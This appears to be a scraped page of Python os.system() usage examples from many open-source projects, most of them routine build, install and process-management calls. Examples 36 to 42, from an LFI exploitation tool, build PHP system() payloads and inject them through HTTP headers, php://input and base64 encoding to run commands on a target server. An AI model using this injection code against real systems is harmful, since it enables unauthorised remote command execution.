Python os.system() Examples

The following are code examples for showing how to use os.system(). They are extracted from open source Python projects. You can vote up the examples you like or vote down the ones you don't like. You can also save this page to your account.

Example 1
Project: IotCenter   Author: panjanek   File: app.py    (MIT License) View Source Project 7 votes vote down vote up
def getMessagePayload(self):
        self.logger.debug("Preparing client->device message payload")
        salon = -127
        try:
             salon = read_temp()
        except Exception as e:
             self.logger.error("error reading local temp")      
             self.logger.exception(e)
        piwnica = -127
        relay = 0
        try:
            os.system("sudo ifconfig eth0 192.168.1.101 netmask 255.255.255.0")
            txt = urllib2.urlopen(relay1_addr).read()
            lines = string.split(txt, '\n') 
            piwnica = float(lines[1])
            relay = int(lines[0])
        except Exception as e:
             self.logger.error("error reading data from {0}".format(relay1_addr))      
             self.logger.exception(e)    
        payloadDict = {"values":{}}
        payloadDict["values"]["relay"] = relay
        if salon > -127:
            payloadDict["values"]["salon"] = salon
        if piwnica > -127:
            payloadDict["values"]["piwnica"] = piwnica
        payload = json.dumps(payloadDict)
        return payload 
Example 2
Project: easydo-ui   Author: easydo-cn   File: components.py    (Apache License 2.0) View Source Project 7 votes vote down vote up
def dot2graph(self, dot, format='svg'):
        # windows ???????????????????
        # ?????? NamedTemporaryFile ?????
        with NamedTemporaryFile(delete=False) as dotfile:
            dotfile.write(dot)
        outfile = NamedTemporaryFile(delete=False)
        os.system('dot -Efontname=sans -Nfontname=sans %s -o%s -T%s' % (
            dotfile.name, outfile.name, format))
        result = outfile.read()
        outfile.close()
        os.unlink(dotfile.name)
        os.unlink(outfile.name)
        return result 
Example 3
Project: human-rl   Author: gsastry   File: train.py    (MIT License) View Source Project 6 votes vote down vote up
def run():
    args = parser.parse_args()
    cmds, notes = create_commands(
        "a3c",
        args.num_workers,
        args.remotes,
        args.env_id,
        args.log_dir,
        mode=args.mode,
        hparams=hparams.get_hparams(args, ignore_default=True))
    if args.dry_run:
        print("Dry-run mode due to -n flag, otherwise the following commands would be executed:")
    else:
        print("Executing the following commands:")
    print("\n".join(cmds))
    print("")
    if not args.dry_run:
        if args.mode == "tmux":
            os.environ["TMUX"] = ""
        os.system("\n".join(cmds))
    print('\n'.join(notes)) 
Example 4
Project: games_nebula   Author: yancharkin   File: launcher_wine.py    (license) View Source Project 6 votes vote down vote up
def get_wine_bin_path(self):

        if self.wine == 'global':
            if global_wine == 'system':
                wine_bin = 'wine'
                wineserver_bin = ''
                wine_lib = ''
            if global_wine == 'path':
                wine_path = global_wine_path + '/' + global_wine_version
                wine_bin = wine_path + '/bin/wine'
                wineserver_bin = wine_path + '/bin/wineserver'
                wine_lib = wine_path + '/lib'
        elif self.wine == 'system':
            wine_bin = 'wine'
            wineserver_bin = ''
            wine_lib = ''
        elif self.wine == 'path':
            wine_path = self.wine_path + '/' + self.wine_version
            wine_bin = wine_path + '/bin/wine'
            wineserver_bin = wine_path + '/bin/wineserver'
            wine_lib = wine_path + '/lib'

        return wine_bin, wineserver_bin, wine_lib 
Example 5
Project: core-framework   Author: RedhawkSDR   File: numa.py    (license) View Source Project 5 votes vote down vote up
def is_numactl_available():
    try:
        return os.system('numactl --hardware > /dev/null 2>&1') == 0
    except:
        return False 
Example 6
Project: core-framework   Author: RedhawkSDR   File: base.py    (license) View Source Project 5 votes vote down vote up
def terminate(self):
    """
        Terminate the Domain including the Node(s).
    """
    if not self.NodeAlive:
        return

    # uninstall waveforms
    if self.Waveforms != {}:
        for waveform_name in self.Waveforms:
            #waveform = self.Waveforms.pop(waveform_name)
            waveform = self.Waveforms[waveform_name]
            waveform.app.releaseObject()
            
        self.Waveforms = {}
            
    # uninstall devices
    for device_entry in self.Devices:
        if device_entry.reference != None:
            device_entry.reference.releaseObject()

    # clean up the node
    os.system('pkill nodeBooter')
    self.NodeAlive = False
    dmn_ctx = [CosNaming.NameComponent(self.name,"")]
    self.rootContext.unbind(dmn_ctx) 
Example 7
Project: human-rl   Author: gsastry   File: train.py    (MIT License) View Source Project 5 votes vote down vote up
def run():
    args = parser.parse_args()
    cmds, notes = create_commands(
        "a3c",
        args.num_workers,
        args.remotes,
        args.env_id,
        args.log_dir,
        mode=args.mode,
        hparams=hparams.get_hparams(args, ignore_default=True))
    if args.dry_run:
        print("Dry-run mode due to -n flag, otherwise the following commands would be executed:")
    else:
        print("Executing the following commands:")
    print("\n".join(cmds))
    print("")
    if not args.dry_run:
        if args.mode == "tmux":
            os.environ["TMUX"] = ""
        os.system("\n".join(cmds))
    print('\n'.join(notes)) 
Example 8
Project: package_linter   Author: YunoHost   File: package_linter.py    (GNU Affero General Public License v3.0) View Source Project 5 votes vote down vote up
def check_verifications_done_before_modifying_system(script):
    """
    Check if verifications are done before modifying the system
    """
    ok = True
    modify_cmd = ''
    cmds = ("cp", "mkdir", "rm", "chown", "chmod", "apt-get", "apt", "service",
           "find", "sed", "mysql", "swapon", "mount", "dd", "mkswap", "useradd")
    cmds_before_exit = []
    is_exit = False
    for cmd in script:
        if "ynh_die" == cmd or "exit " == cmd:
            is_exit = True
            break
        cmds_before_exit.append(cmd)

    if not is_exit:
        return

    for cmd in cmds_before_exit:
        if "ynh_die" == cmd or "exit " == cmd:
            break
        if not ok or cmd in cmds:
            modify_cmd = cmd
            ok = False
            break

    if not ok:
        print_wrong("[YEP-2.4] 'ynh_die' or 'exit' command is executed with system modification before (cmd '%s').\n"
        "This system modification is an issue if a verification exit the script.\n"
        "You should move this verification before any system modification." % (modify_cmd) , False) 
Example 9
Project: package_linter   Author: YunoHost   File: package_linter.py    (GNU Affero General Public License v3.0) View Source Project 5 votes vote down vote up
def check_set_usage(script_name, script):
    present = False

    if script_name in ["backup", "remove"]:
        present = "ynh_abort_if_errors" in script or "set -eu" in script
    else:
        present = "ynh_abort_if_errors" in script

    if script_name == "remove":
        # Remove script shouldn't use set -eu or ynh_abort_if_errors
        if present:
            print_wrong("[YEP-2.4] set -eu or ynh_abort_if_errors is present. "
                        "If there is a crash it could put yunohost system in "
                        "invalidated states. For details, look at "
                        "https://dev.yunohost.org/issues/419")
    else:
        if not present:
            print_wrong("[YEP-2.4] ynh_abort_if_errors is missing. For details,"
                        "look at https://dev.yunohost.org/issues/419") 
Example 10
Project: cellranger   Author: 10XGenomics   File: bio_io.py    (license) View Source Project 5 votes vote down vote up
def convert_bedGraph_to_bigWig(self, remove_bedGraph=False):
        for profile_id in sorted(self.profiles["Profiles"]):
            bedGraph_file = self.path + profile_id + ".bedGraph"
            bigWig_file = self.path + profile_id + ".bw"
            # TODO: general case - any set of chromosome names/lengths.
            # (use self.profiles["Reference"] to generate chrom.sizes)
            cmd = self.tool_dir + "bedGraphToBigWig " + bedGraph_file + " " + self.tool_dir + "hg19.chrom.sizes " + bigWig_file
            os.system(cmd)
            if remove_bedGraph:
                os.remove(outs_hp_bedGraph[hp])
            # if remove
        # for profile_id
    # convert_bedGraph_to_bigWig
# class CopyNumberIO 
Example 11
Project: kinect-2-libras   Author: inessadl   File: pdb.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def help():
    for dirname in sys.path:
        fullname = os.path.join(dirname, 'pdb.doc')
        if os.path.exists(fullname):
            sts = os.system('${PAGER-more} '+fullname)
            if sts: print '*** Pager exit status:', sts
            break
    else:
        print 'Sorry, can\'t find the help file "pdb.doc"',
        print 'along the Python search path' 
Example 12
Project: kinect-2-libras   Author: inessadl   File: pipes.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def copy(self, infile, outfile):
        return os.system(self.makepipeline(infile, outfile)) 
Example 13
Project: kinect-2-libras   Author: inessadl   File: os.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def popen2(cmd, mode="t", bufsize=-1):
            """Execute the shell command 'cmd' in a sub-process.  On UNIX, 'cmd'
            may be a sequence, in which case arguments will be passed directly to
            the program without shell intervention (as with os.spawnv()).  If 'cmd'
            is a string it will be passed to the shell (as with os.system()). If
            'bufsize' is specified, it sets the buffer size for the I/O pipes.  The
            file objects (child_stdin, child_stdout) are returned."""
            import warnings
            msg = "os.popen2 is deprecated.  Use the subprocess module."
            warnings.warn(msg, DeprecationWarning, stacklevel=2)

            import subprocess
            PIPE = subprocess.PIPE
            p = subprocess.Popen(cmd, shell=isinstance(cmd, basestring),
                                 bufsize=bufsize, stdin=PIPE, stdout=PIPE,
                                 close_fds=True)
            return p.stdin, p.stdout 
Example 14
Project: kinect-2-libras   Author: inessadl   File: os.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def popen3(cmd, mode="t", bufsize=-1):
            """Execute the shell command 'cmd' in a sub-process.  On UNIX, 'cmd'
            may be a sequence, in which case arguments will be passed directly to
            the program without shell intervention (as with os.spawnv()).  If 'cmd'
            is a string it will be passed to the shell (as with os.system()). If
            'bufsize' is specified, it sets the buffer size for the I/O pipes.  The
            file objects (child_stdin, child_stdout, child_stderr) are returned."""
            import warnings
            msg = "os.popen3 is deprecated.  Use the subprocess module."
            warnings.warn(msg, DeprecationWarning, stacklevel=2)

            import subprocess
            PIPE = subprocess.PIPE
            p = subprocess.Popen(cmd, shell=isinstance(cmd, basestring),
                                 bufsize=bufsize, stdin=PIPE, stdout=PIPE,
                                 stderr=PIPE, close_fds=True)
            return p.stdin, p.stdout, p.stderr 
Example 15
Project: kinect-2-libras   Author: inessadl   File: os.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def popen4(cmd, mode="t", bufsize=-1):
            """Execute the shell command 'cmd' in a sub-process.  On UNIX, 'cmd'
            may be a sequence, in which case arguments will be passed directly to
            the program without shell intervention (as with os.spawnv()).  If 'cmd'
            is a string it will be passed to the shell (as with os.system()). If
            'bufsize' is specified, it sets the buffer size for the I/O pipes.  The
            file objects (child_stdin, child_stdout_stderr) are returned."""
            import warnings
            msg = "os.popen4 is deprecated.  Use the subprocess module."
            warnings.warn(msg, DeprecationWarning, stacklevel=2)

            import subprocess
            PIPE = subprocess.PIPE
            p = subprocess.Popen(cmd, shell=isinstance(cmd, basestring),
                                 bufsize=bufsize, stdin=PIPE, stdout=PIPE,
                                 stderr=subprocess.STDOUT, close_fds=True)
            return p.stdin, p.stdout 
Example 16
Project: kinect-2-libras   Author: inessadl   File: mailcap.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def findmatch(caps, MIMEtype, key='view', filename="/dev/null", plist=[]):
    """Find a match for a mailcap entry.

    Return a tuple containing the command line, and the mailcap entry
    used; (None, None) if no match is found.  This may invoke the
    'test' command of several matching entries before deciding which
    entry to use.

    """
    entries = lookup(caps, MIMEtype, key)
    # XXX This code should somehow check for the needsterminal flag.
    for e in entries:
        if 'test' in e:
            test = subst(e['test'], filename, plist)
            if test and os.system(test) != 0:
                continue
        command = subst(e[key], MIMEtype, filename, plist)
        return command, e
    return None, None 
Example 17
Project: kinect-2-libras   Author: inessadl   File: mailcap.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def test():
    import sys
    caps = getcaps()
    if not sys.argv[1:]:
        show(caps)
        return
    for i in range(1, len(sys.argv), 2):
        args = sys.argv[i:i+2]
        if len(args) < 2:
            print "usage: mailcap [MIMEtype file] ..."
            return
        MIMEtype = args[0]
        file = args[1]
        command, e = findmatch(caps, MIMEtype, 'view', file)
        if not command:
            print "No viewer found for", type
        else:
            print "Executing:", command
            sts = os.system(command)
            if sts:
                print "Exit status:", sts 
Example 18
Project: kinect-2-libras   Author: inessadl   File: popen2.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def __init__(self, cmd, capturestderr=False, bufsize=-1):
        """The parameter 'cmd' is the shell command to execute in a
        sub-process.  On UNIX, 'cmd' may be a sequence, in which case arguments
        will be passed directly to the program without shell intervention (as
        with os.spawnv()).  If 'cmd' is a string it will be passed to the shell
        (as with os.system()).   The 'capturestderr' flag, if true, specifies
        that the object should capture standard error output of the child
        process.  The default is false.  If the 'bufsize' parameter is
        specified, it specifies the size of the I/O buffers to/from the child
        process."""
        _cleanup()
        self.cmd = cmd
        p2cread, p2cwrite = os.pipe()
        c2pread, c2pwrite = os.pipe()
        if capturestderr:
            errout, errin = os.pipe()
        self.pid = os.fork()
        if self.pid == 0:
            # Child
            os.dup2(p2cread, 0)
            os.dup2(c2pwrite, 1)
            if capturestderr:
                os.dup2(errin, 2)
            self._run_child(cmd)
        os.close(p2cread)
        self.tochild = os.fdopen(p2cwrite, 'w', bufsize)
        os.close(c2pwrite)
        self.fromchild = os.fdopen(c2pread, 'r', bufsize)
        if capturestderr:
            os.close(errin)
            self.childerr = os.fdopen(errout, 'r', bufsize)
        else:
            self.childerr = None 
Example 19
Project: kinect-2-libras   Author: inessadl   File: popen2.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def popen2(cmd, bufsize=-1, mode='t'):
        """Execute the shell command 'cmd' in a sub-process. On UNIX, 'cmd' may
        be a sequence, in which case arguments will be passed directly to the
        program without shell intervention (as with os.spawnv()). If 'cmd' is a
        string it will be passed to the shell (as with os.system()). If
        'bufsize' is specified, it sets the buffer size for the I/O pipes. The
        file objects (child_stdout, child_stdin) are returned."""
        w, r = os.popen2(cmd, mode, bufsize)
        return r, w 
Example 20
Project: kinect-2-libras   Author: inessadl   File: popen2.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def popen3(cmd, bufsize=-1, mode='t'):
        """Execute the shell command 'cmd' in a sub-process. On UNIX, 'cmd' may
        be a sequence, in which case arguments will be passed directly to the
        program without shell intervention (as with os.spawnv()). If 'cmd' is a
        string it will be passed to the shell (as with os.system()). If
        'bufsize' is specified, it sets the buffer size for the I/O pipes. The
        file objects (child_stdout, child_stdin, child_stderr) are returned."""
        w, r, e = os.popen3(cmd, mode, bufsize)
        return r, w, e 
Example 21
Project: kinect-2-libras   Author: inessadl   File: popen2.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def popen2(cmd, bufsize=-1, mode='t'):
        """Execute the shell command 'cmd' in a sub-process. On UNIX, 'cmd' may
        be a sequence, in which case arguments will be passed directly to the
        program without shell intervention (as with os.spawnv()). If 'cmd' is a
        string it will be passed to the shell (as with os.system()). If
        'bufsize' is specified, it sets the buffer size for the I/O pipes. The
        file objects (child_stdout, child_stdin) are returned."""
        inst = Popen3(cmd, False, bufsize)
        return inst.fromchild, inst.tochild 
Example 22
Project: kinect-2-libras   Author: inessadl   File: popen2.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def popen3(cmd, bufsize=-1, mode='t'):
        """Execute the shell command 'cmd' in a sub-process. On UNIX, 'cmd' may
        be a sequence, in which case arguments will be passed directly to the
        program without shell intervention (as with os.spawnv()). If 'cmd' is a
        string it will be passed to the shell (as with os.system()). If
        'bufsize' is specified, it sets the buffer size for the I/O pipes. The
        file objects (child_stdout, child_stdin, child_stderr) are returned."""
        inst = Popen3(cmd, True, bufsize)
        return inst.fromchild, inst.tochild, inst.childerr 
Example 23
Project: kinect-2-libras   Author: inessadl   File: popen2.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def popen4(cmd, bufsize=-1, mode='t'):
        """Execute the shell command 'cmd' in a sub-process. On UNIX, 'cmd' may
        be a sequence, in which case arguments will be passed directly to the
        program without shell intervention (as with os.spawnv()). If 'cmd' is a
        string it will be passed to the shell (as with os.system()). If
        'bufsize' is specified, it sets the buffer size for the I/O pipes. The
        file objects (child_stdout_stderr, child_stdin) are returned."""
        inst = Popen4(cmd, bufsize)
        return inst.fromchild, inst.tochild 
Example 24
Project: kinect-2-libras   Author: inessadl   File: pydoc.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def getpager():
    """Decide what method to use for paging through text."""
    if type(sys.stdout) is not types.FileType:
        return plainpager
    if not sys.stdin.isatty() or not sys.stdout.isatty():
        return plainpager
    if 'PAGER' in os.environ:
        if sys.platform == 'win32': # pipes completely broken in Windows
            return lambda text: tempfilepager(plain(text), os.environ['PAGER'])
        elif os.environ.get('TERM') in ('dumb', 'emacs'):
            return lambda text: pipepager(plain(text), os.environ['PAGER'])
        else:
            return lambda text: pipepager(text, os.environ['PAGER'])
    if os.environ.get('TERM') in ('dumb', 'emacs'):
        return plainpager
    if sys.platform == 'win32' or sys.platform.startswith('os2'):
        return lambda text: tempfilepager(plain(text), 'more <')
    if hasattr(os, 'system') and os.system('(less) 2>/dev/null') == 0:
        return lambda text: pipepager(text, 'less')

    import tempfile
    (fd, filename) = tempfile.mkstemp()
    os.close(fd)
    try:
        if hasattr(os, 'system') and os.system('more "%s"' % filename) == 0:
            return lambda text: pipepager(text, 'more')
        else:
            return ttypager
    finally:
        os.unlink(filename) 
Example 25
Project: kinect-2-libras   Author: inessadl   File: pydoc.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def tempfilepager(text, cmd):
    """Page through text by invoking a program on a temporary file."""
    import tempfile
    filename = tempfile.mktemp()
    file = open(filename, 'w')
    file.write(text)
    file.close()
    try:
        os.system(cmd + ' "' + filename + '"')
    finally:
        os.unlink(filename) 
Example 26
Project: kinect-2-libras   Author: inessadl   File: platform.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def __init__(self,cmd,mode='r',bufsize=None):

        if mode != 'r':
            raise ValueError,'popen()-emulation only supports read mode'
        import tempfile
        self.tmpfile = tmpfile = tempfile.mktemp()
        os.system(cmd + ' > %s' % tmpfile)
        self.pipe = open(tmpfile,'rb')
        self.bufsize = bufsize
        self.mode = mode 
Example 27
Project: kinect-2-libras   Author: inessadl   File: platform.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def _platform(*args):

    """ Helper to format the platform string in a filename
        compatible format e.g. "system-version-machine".
    """
    # Format the platform string
    platform = string.join(
        map(string.strip,
            filter(len, args)),
        '-')

    # Cleanup some possible filename obstacles...
    replace = string.replace
    platform = replace(platform,' ','_')
    platform = replace(platform,'/','-')
    platform = replace(platform,'\\','-')
    platform = replace(platform,':','-')
    platform = replace(platform,';','-')
    platform = replace(platform,'"','-')
    platform = replace(platform,'(','-')
    platform = replace(platform,')','-')

    # No need to report 'unknown' information...
    platform = replace(platform,'unknown','')

    # Fold '--'s and remove trailing '-'
    while 1:
        cleaned = replace(platform,'--','-')
        if cleaned == platform:
            break
        platform = cleaned
    while platform[-1] == '-':
        platform = platform[:-1]

    return platform 
Example 28
Project: kinect-2-libras   Author: inessadl   File: platform.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def _syscmd_uname(option,default=''):

    """ Interface to the system's uname command.
    """
    if sys.platform in ('dos','win32','win16','os2'):
        # XXX Others too ?
        return default
    try:
        f = os.popen('uname %s 2> %s' % (option, DEV_NULL))
    except (AttributeError,os.error):
        return default
    output = string.strip(f.read())
    rc = f.close()
    if not output or rc:
        return default
    else:
        return output 
Example 29
Project: kinect-2-libras   Author: inessadl   File: platform.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def system():

    """ Returns the system/OS name, e.g. 'Linux', 'Windows' or 'Java'.

        An empty string is returned if the value cannot be determined.

    """
    return uname()[0] 
Example 30
Project: kinect-2-libras   Author: inessadl   File: mhlib.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def test():
    global mh, f
    os.system('rm -rf $HOME/Mail/@test')
    mh = MH()
    def do(s): print s; print eval(s)
    do('mh.listfolders()')
    do('mh.listallfolders()')
    testfolders = ['@test', '@test/test1', '@test/test2',
                   '@test/test1/test11', '@test/test1/test12',
                   '@test/test1/test11/test111']
    for t in testfolders: do('mh.makefolder(%r)' % (t,))
    do('mh.listsubfolders(\'@test\')')
    do('mh.listallsubfolders(\'@test\')')
    f = mh.openfolder('@test')
    do('f.listsubfolders()')
    do('f.listallsubfolders()')
    do('f.getsequences()')
    seqs = f.getsequences()
    seqs['foo'] = IntSet('1-10 12-20', ' ').tolist()
    print seqs
    f.putsequences(seqs)
    do('f.getsequences()')
    for t in reversed(testfolders): do('mh.deletefolder(%r)' % (t,))
    do('mh.getcontext()')
    context = mh.getcontext()
    f = mh.openfolder(context)
    do('f.getcurrent()')
    for seq in ('first', 'last', 'cur', '.', 'prev', 'next',
                'first:3', 'last:3', 'cur:3', 'cur:-3',
                'prev:3', 'next:3',
                '1:3', '1:-3', '100:3', '100:-3', '10000:3', '10000:-3',
                'all'):
        try:
            do('f.parsesequence(%r)' % (seq,))
        except Error, msg:
            print "Error:", msg
        stuff = os.popen("pick %r 2>/dev/null" % (seq,)).read()
        list = map(int, stuff.split())
        print list, "<-- pick"
    do('f.listmessages()') 
Example 31
Project: litesdcard   Author: lambdaconcept   File: sim.py    (license) View Source Project 5 votes vote down vote up
def clean():
    os.system("rm -f top")
    os.system("rm -f *.v *.xst *.prj *.vcd *.ucf") 
Example 32
Project: litesdcard   Author: lambdaconcept   File: sim.py    (license) View Source Project 5 votes vote down vote up
def run_sim():
    os.system("iverilog -o top "
        "top.v "
        "top_tb.v "
        "../litesdcard/emulator/verilog/sd_common.v "
        "../litesdcard/emulator/verilog/sd_link.v "
        "../litesdcard/emulator/verilog/sd_phy.v "
        "-I ../litesdcard/emulator/verilog/ "
    )
    os.system("vvp top") 
Example 33
Project: AWS-SSL-Manager   Author: adaranutsa   File: setup.py    (GNU General Public License v3.0) View Source Project 5 votes vote down vote up
def install_tk_debian():
    print("System Type: Debian")
    print("Installing python-tk (Tkinter)")
    os.system('sudo apt-get install -y python-tk') 
Example 34
Project: AWS-SSL-Manager   Author: adaranutsa   File: setup.py    (GNU General Public License v3.0) View Source Project 5 votes vote down vote up
def install_tk_redhat():
    print("System Type: Redhat")
    print("Installed tkinter")
    os.system('sudo yum install -y tkinter') 
Example 35
Project: BackManager   Author: linuxyan   File: Backup_Mysql.py    (Apache License 2.0) View Source Project 5 votes vote down vote up
def backup_mysql():
    try:
        back_file_name = database_name+time.strftime("%Y%m%d_%H%M%S", time.localtime())
        back_file_path = os.path.join(backup_dir,back_file_name)
        backup_command= '%s -h%s -P%d -u%s  -p%s --default-character-set=utf8 %s  > %s'\
                        %(mysql_dump,mysql_host,int(mysql_port),mysql_user,mysql_pass,database_name,back_file_path)
        if os.system(backup_command) == 0:
            zip_file_path = back_file_path+'.zip'
            f = zipfile.ZipFile(zip_file_path, 'w' ,zipfile.ZIP_DEFLATED,allowZip64=True)
            f.write(back_file_path,back_file_name)
            f.close()
            md5_num = str(md5sum(zip_file_path))
            md5_file_path = zip_file_path+'_'+md5_num
            back_file_new_path = os.path.join(backup_dir,md5_file_path)
            os.rename(zip_file_path,back_file_new_path)
            os.remove(back_file_path)
            data = {'status':'back_success','file_path':back_file_new_path,'md5':md5_num}
            return data
        else:
            data = {'status':'back_failed'}
            return data
    except Exception, e:
        print e
        data = {'status':'back_failed'}
        return data 
Example 36
Project: LFISuite   Author: D35m0nd142   File: lfisuite.py    (GNU General Public License v3.0) View Source Project 5 votes vote down vote up
def banner():

	os.system('cls' if os.name == 'nt' else 'clear')
	print """

                         .//// *,                                 ,//// *,
             .///////////*//** //            ,*. ,                ////* .                 .,, ..
  ,*///* /.   *//////////. .,,../         ,*/////,.*         *///*  .,,.*/////////// * ,//////./,
   .///* (,   *////    **.////,.(.       */////*,  *///* /. ./////*////,*//////////* */////*. ,#*
    ///* (,   *///*       ////,,(.       *///////*.////* (, ,////*.////,.( *///*.%% *////////* (,
   .###/ (,   */////////. ////.*(.      .. ,*//////*////./* *////*.////.*/ *///**(, /(((#####/ #,
   ,###/ (,   (########/  #### (/.        . ,####( ,####(.,(####/ ,#### (* (###.(/. .#####/*.  #,
   *###/..,/(*(###/   ** ,#### (/          /####/ * (###########  *#### (..###( #/. . *######/, *
   /########/.####**#*/( *###( #*        *#####. %(,./#######(, # (###( # *###/ #*   ., .*####/.(.
   /########/ ####,/(.   //,  (#*       ,*/((, ##/. .   ...  ,%#/ (/,  (#     /#/.      ,*  ,/./(.
   .********, /*. .#/   .*##(/,.        ,/(###(*.     .,*****,.  ./##(/,. .,**,.           .*/(/,     v 1.1
             ./#(/*.

	"""

	print "/*-------------------------------------------------------------------------*\\"
	print "| Local File Inclusion Automatic Exploiter and Scanner + Reverse Shell      |"
	print "|                                                                           |"
	print "| Modules: AUTO-HACK, /self/environ, /self/fd, phpinfo, php://input,        |"
	print "|          data://, expect://, php://filter, access logs                    |"
	print "|                                                                           |"
	print "| Author: D35m0nd142, <[email protected]> https://twitter.com/d35m0nd142 |"
	print "\*-------------------------------------------------------------------------*/\n" 
Example 37
Project: LFISuite   Author: D35m0nd142   File: lfisuite.py    (GNU General Public License v3.0) View Source Project 5 votes vote down vote up
def onlyPhpPrint():
	print colored("[system() calls have been disabled by the website, you can just run php commands (ex: fwrite(fopen('a.txt','w'),\"content\");]\n","red") 
Example 38
Project: LFISuite   Author: D35m0nd142   File: lfisuite.py    (GNU General Public License v3.0) View Source Project 5 votes vote down vote up
def execSeCmd(cmd):
	global se_par
	global se_headers

	if(se_phponly is False):
		se_headers['%s' %se_header_par] = '<?php system("%s"); ?>' %cmd
	else:
		if(";" not in cmd[-2:]):
			cmd = "%s;" %cmd
		se_headers['%s' %se_header_par] = '<?php %s ?>' %cmd
	#print "se_headers = %s\n---------" %se_headers # useful for debugging
	if(cmd != reverseConn):
		r = requests.get(se_url, headers=se_headers, timeout=15)
	else:
		r = requests.get(se_url, headers=se_headers)
	resp = r.text

	'''print "\nse_headers:\n%s\n\n" %se_headers
	print "\n\n-------------\n%s\n-------------\n\n" %resp'''
	index_start = SubstrFind(resp, "%s=" %se_par)
	index_stop = SubstrFind(resp, se_stopStr)

	try:
		return resp[(index_start[0]+len(se_par)+1):index_stop[0]]
	except:
		return "<NOT WORKING>" 
Example 39
Project: LFISuite   Author: D35m0nd142   File: lfisuite.py    (GNU General Public License v3.0) View Source Project 5 votes vote down vote up
def access_control(resp,keyword,rand_str):
	lines = resp.split('\n')

	if("_PHP" in keyword): 	# in case system() calls have been disabled
		keyword = keyword[:-4]

	if(len(SubstrFind(resp,rand_str)) > 0 and len(SubstrFind(resp,"echo %s" %rand_str)) == 0 and
	   len(SubstrFind(resp,"echo%%20%s" %rand_str)) == 0):
		return True

	return False
	#---------------------------------------------------- 
Example 40
Project: LFISuite   Author: D35m0nd142   File: lfisuite.py    (GNU General Public License v3.0) View Source Project 5 votes vote down vote up
def send_phpinput_cmd(cmd, inputurl):
	global gen_headers

	if(inputurl[-11:] == "php://input"):
		inputurl = inputurl[:-11]

	url = "%sphp://input" %(inputurl)
	phpcmd = cmd[:6] == "php://"
	body = ""

	if(phpcmd):
		cmd = cmd[6:]
		length = 27+len(cmd)
		body = "AbracadabrA ** <?php %s?> **" %cmd
	else:
		length = 34+len(cmd)
		body = "AbracadabrA ** <?php system('%s');?> **" %cmd

	gen_headers['Content-Length'] = '%s' %length
	r = requests.post(url=url, headers=gen_headers, data=body)

	return r.text 
Example 41
Project: LFISuite   Author: D35m0nd142   File: lfisuite.py    (GNU General Public License v3.0) View Source Project 5 votes vote down vote up
def cleanDataCmd(cmd):
	newcmd = "AbracadabrA ** <?php "

	if(cmd[:6] != "php://"):
		if(reverseConn not in cmd):
			cmds = cmd.split('&')
			for c in cmds:
				if(len(c) > 0):
					newcmd += "system('%s');" %c
		else:
			b64cmd = base64.b64encode(cmd)
			newcmd += "system(base64_decode('%s'));" %b64cmd
 	else:
		newcmd += cmd[6:]

	newcmd += "?> **"

	return newcmd 
Example 42
Project: LFISuite   Author: D35m0nd142   File: lfisuite.py    (GNU General Public License v3.0) View Source Project 5 votes vote down vote up
def send_self_fd_cmd(errPage,cmd,field,ofdurl):
	if("php://" in cmd):
		cmd = "%s **<?php %s" %(fd_pre_rand_str,cmd)
		if(";" not in cmd[-2:]):
			cmd = "%s;" %cmd
		cmd = "%s ?> **"
	else:
		cmd = "%s **<?php system(\"%s\"); ?> **" %(fd_pre_rand_str,cmd)

	fd_headers[field] = cmd
	r = requests.get(errPage,headers=fd_headers,timeout=15)
	r = requests.get(ofdurl, headers=bu_headers,timeout=15)
	return r.text 
Example 43
Project: Dr0p1t-Framework   Author: Exploit-install   File: Dr0p1t.py    (license) View Source Project 5 votes vote down vote up
def clear():
    if os.name=="nt":
        x=os.system("cls")
    else:
        x=os.system("clear") 
Example 44
Project: wpw-sdk-python   Author: WPTechInnovation   File: RunProducerWT.py    (MIT License) View Source Project 5 votes vote down vote up
def cleardown_rpc():
    """
    kill any rpc-agent that still exists
    """
    os.system('killall rpc-agent') 
Example 45
Project: wpw-sdk-python   Author: WPTechInnovation   File: ConsumerFlowTester.py    (MIT License) View Source Project 5 votes vote down vote up
def killTheRpcAgent():
    """

    """
    print("Will attempt to kill the rpc-agent - this will now be handled by the SDK")
    killCommand = "ps aux | grep -i 'rpc-agent.*port.*8778' | awk '{print $2}' | xargs kill -9"
    # Finding the process based on the port number is safer than relying on the pid number that it was started on
    os.system(killCommand) 
Example 46
Project: games_nebula   Author: yancharkin   File: launcher_native.py    (license) View Source Project 5 votes vote down vote up
def launch_game(self):

        self.switch_monitor('ON')

        self.main_window.hide()

        while Gtk.events_pending():
            Gtk.main_iteration()

        if self.launcher_type == 'gog':
            launch_command = self.install_dir + '/' + self.game_name + '/start_gog.sh'
        else:
            launch_command = self.install_dir + '/' + self.game_name + '/start_gn.sh'

        os.system(self.command_before)
        os.system(launch_command)
        os.system(self.command_after)

        self.switch_monitor('OFF')

        self.config_save()

        sys.exit() 
Example 47
Project: games_nebula   Author: yancharkin   File: launcher_native.py    (license) View Source Project 5 votes vote down vote up
def cb_button_settings(self, button):

        self.main_window.hide()

        while Gtk.events_pending():
            Gtk.main_iteration()

        launch_command = self.install_dir + '/' + self.game_name + '/settings.sh ' + \
        self.install_dir + ' ' + nebula_dir

        os.system(launch_command)

        self.config_save()
        os.execl(sys.executable, 'python', __file__, self.game_name) 
Example 48
Project: games_nebula   Author: yancharkin   File: launcher_native.py    (license) View Source Project 5 votes vote down vote up
def switch_monitor(self, switch):
        if switch == 'ON':
            output = self.combobox_monitor.get_active_text().split()[0]
